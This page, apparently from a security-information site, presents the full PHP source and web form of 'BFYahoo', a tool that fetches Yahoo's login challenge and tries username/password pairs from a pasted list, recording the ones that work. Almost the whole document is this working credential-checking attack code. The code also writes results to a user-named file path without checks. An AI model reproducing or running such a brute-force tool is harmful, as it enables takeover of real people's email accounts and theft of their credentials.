|
Brought to you by:
Suppliers of:
|
|
|
| |
Credit:
The information has been provided by Rolandas Razma.
|
| |
BFYahoo is a simple tool written in PHP that retrieve .chalange from yahoo and then check if the login and password are correct.
Source code:
<?php
$BFYahoo = new BFYahoo();
/* Atkomentuoti zemiau esancia eilute norint imti is failo */
//$lines = file(&aps./list.txt&aps);
/* Atkomentuoti zemiau esancia eilute norint imti is webo */
$lines = explode("\r\n", $_POST[&apsdata&aps]);
if($_POST[&apsfile&aps]) $handle = fopen("./{$_POST[&apsfile&aps]}", &apsa&aps);
if(!$handle && $_POST[&apsfile&aps]) die(&apsCant open file...&aps);
echo "<table border=1>";
foreach($lines As $line){
preg_match("/(\s*)(\S*)(\s*)(\S*)/", $line, $matches);
if(!$matches[2] || !$matches[4]) continue;
$isOK = $BFYahoo->isCorrect($matches[2], $matches[4]);
if($isOK)
echo "<tr><td>{$matches[2]}</td><td>{$matches[4]}</td><td>". (($isOK)?&apsok&aps:&apsfoo&aps).&aps</td></tr>&aps;
if($handle && $isOK)
fwrite($handle, "{$matches[2]}\t\t{$matches[4]}\n");
ob_flush();
flush();
}
if($handle) fclose($handle);
class BFYahoo{
var $Cookie = &aps&aps;
var $Referer = &aps&aps;
function isCorrect($UserName, $Password){
$this->Cookie = &aps&aps;
$this->Referer = &aps&aps;
$Chalange = $this->getChalange();
return $this->CheckLogin($UserName, $Password, $Chalange);
}
function CheckLogin($UserName, $Password, $Chalange){
$Password = md5(md5($Password).$Chalange);
$Body = $this->getBody("https://us.rd.yahoo.com/reg/login1/lisu/login/us/ym/" . "*http://login.yahoo.com/config/login?.tries=1&.src=ym&.md5=&.hash=" . "&.js=1&.last=&promo=&.intl=us&.bypass=&.partner=&.u=cl77e0d1k9vnl" . "&.v=0&.challenge=".$Chalange."&.yplus=&.emailCode=&pkg=&stepid=&" . "ev=&hasMsgr=0&.chkP=Y&.done=http%3A//mail.yahoo.com&login=". $UserName."&passwd=".$Password."&.persistent=&.hash=1&.md5=1");
preg_match("/(Location:\s)(.*)/", $Body, $matches);
$Body = $this->getBody($matches[2]);
if(strstr(strtoupper($Body), "CAPS LOCK")) {
return false;
}elseif(strstr($Body, "login?.rand")){
return true;
}
}
function getChalange(){
$Body = $this->getBody(&apshttp://mail.yahoo.com/?.intl=us&aps);
preg_match(&aps/(name="\.challenge")([^"]*")([^"]*)/&aps, $Body, $Challenge);
return $Challenge[3];
}
function getBody($url){
$purl = parse_url($url);
$fp = pfsockopen((($purl[&apsscheme&aps] == &apshttps&aps)?&apsssl://&aps:&apstcp://&aps).$purl[&apshost&aps], (($purl[&apsscheme&aps] == &apshttps&aps)?443:80), $errno, $errstr);
if (!$fp) {
echo "$errstr ($errno)<br/>\n";
echo $fp;
} else {
fputs($fp, "GET {$purl[&apspath&aps]}?{$purl[&apsquery&aps]} HTTP/1.1\r\n");
fputs($fp, "Host: {$purl[&apshost&aps]}\r\n");
fputs($fp, "Accept: */*\r\n");
fputs($fp, "User-Agent: Mozilla/4.0\r\n");
if($this->Referer)
fputs($fp, "Referer: ".$this->Referer."\r\n");
if($this->Cookie)
fputs($fp, "Cookie: ".$this->Cookie."\r\n");
fputs($fp, "Connection: close\r\n\r\n");
fwrite($fp, $out);
while (!feof($fp)) {
$Body .= fgets($fp, 128);
}
fclose($fp);
}
preg_match("/(Set-Cookie:\s)(.*)/", $Body, $matches);
if($matches[2])
$this->Cookie = $matches[2];
$this->Referer = $url;
return $Body;
}
}
?>
<table style="width: 100%;">
<tr>
<td>
<form method=post action="">
Failas:<br />
<input type="text" name="file" style="width:100%;"><br />
Info:<br />
<textarea name="data" rows="30" cols="2" style="width:100%;"></textarea><br />
<input type="submit" value="Go!" style="width:100%;">
</form>
</td>
</tr>
</table>
# EoF
|
|
blog comments powered by
|
|
|